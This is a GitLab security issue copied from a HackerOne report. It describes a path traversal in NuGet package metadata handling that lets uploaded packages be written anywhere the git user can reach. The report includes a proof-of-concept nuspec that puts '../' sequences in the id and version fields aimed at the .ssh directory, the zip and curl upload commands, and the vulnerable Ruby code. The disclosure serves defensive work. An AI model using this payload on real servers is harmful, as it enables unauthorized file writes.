Path traversal in nuget metadata extraction allowing packages to be saved anywhere
**[HackerOne report #835427](https://hackerone.com/reports/835427)** by `vakzz` on 2020-03-31, assigned to @ankelly: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report ##### Summary After a nuget package is uploaded via the api, the `UpdatePackageFromMetadataService` is run to update the package and file names based on the metadata in the `nuspec` file which is extracted from the package zip. Neither the extracted id or version is checked for path traversal, allowing the `package.nupkg` to be moved anywhere that the `git` user has access. ##### Steps to reproduce 1. create a project 1. create a `spec.nuspec` file with the following contents ```xml <?xml version="1.0"?> <package xmlns="http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd"> <metadata> <id>../../../../../../../../../../../../../</id> <version>./var/opt/gitlab/.ssh/aaa</version> </metadata> </package> ``` 1. zip it up and upload it via the api ```bash zip package.zip spec.nuspec curl -XPUT -v 'http://vakzz:$TOKEN@gitlab-vm.local/api/v4/projects/112/packages/nuget/' -F package=[@]package.zip ``` 1. after the metadata service has run you can see that the file has been moved `ls -asl /var/opt/gitlab/.ssh/` ![Screen_Shot_2020-04-01_at_2.07.29_am.png](https://h1.sec.gitlab.net/a/0493b2fb-063c-4914-acbf-d2fa8ab4f1ab/Screen_Shot_2020-04-01_at_2.07.29_am.png) ##### Impact I'm still unsure of the complete impact of this, but there are a few thing to note: * the file will always have the `.nupkg` extension (can't see a way around this) * any parent directories are also created * the package has to be a valid zip file, but using something like https://truepolyglot.hackade.org/ arbitrary data can be appended to the start. Knowing the above it might be possible to escalate this further, but requires more investigation. ##### Examples nuget package used above: ![package.zip](https://h1.sec.gitlab.net/a/aa63dcfa-318c-47f4-bf86-aec163ebff0a/package.zip) package that is a polyglot with a shell script: ![hello.zip](https://h1.sec.gitlab.net/a/1be426fb-9a23-4781-89b5-0306d0986048/hello.zip) ##### What is the current *bug* behavior? The package `file_name` is updated with values directly from the metadata without any checks: ```ruby package_file.update!( file_name: package_filename, file: package_file.file ) def package_name metadata[:package_name] end def package_version metadata[:package_version] end def metadata strong_memoize(:metadata) do ::Packages::Nuget::MetadataExtractionService.new(package_file.id).execute end end def package_filename "#{package_name.downcase}.#{package_version.downcase}.nupkg" end ``` ##### What is the expected *correct* behavior? The `package_filename` should be validated ##### Output of checks ###### Results of GitLab environment info ``` System information System: Ubuntu 18.04 Proxy: no Current User: git Using RVM: no Ruby Version: 2.6.5p114 Gem Version: 2.7.10 Bundler Version:1.17.3 Rake Version: 12.3.3 Redis Version: 5.0.7 Git Version: 2.24.1 Sidekiq Version:5.2.7 Go Version: unknown GitLab information Version: 12.9.1-ee Revision: 0ebcf602332 Directory: /opt/gitlab/embedded/service/gitlab-rails DB Adapter: PostgreSQL DB Version: 10.12 URL: http://gitlab-vm.local HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git SSH Clone URL: git@gitlab-vm.local:some-group/some-project.git Elasticsearch: no Geo: no Using LDAP: no Using Omniauth: yes Omniauth Providers: GitLab Shell Version: 12.0.0 Repository storage paths: - default: /var/opt/gitlab/git-data/repositories GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell Git: /opt/gitlab/embedded/bin/git ``` #### Impact An attacker can write controlled data with the extension `.nupkg` to anywhere the `git` user has access ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [Screen_Shot_2020-04-01_at_2.07.29_am.png](https://h1.sec.gitlab.net/a/0493b2fb-063c-4914-acbf-d2fa8ab4f1ab/Screen_Shot_2020-04-01_at_2.07.29_am.png) * [package.zip](https://h1.sec.gitlab.net/a/aa63dcfa-318c-47f4-bf86-aec163ebff0a/package.zip) * [hello.zip](https://h1.sec.gitlab.net/a/1be426fb-9a23-4781-89b5-0306d0986048/hello.zip) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue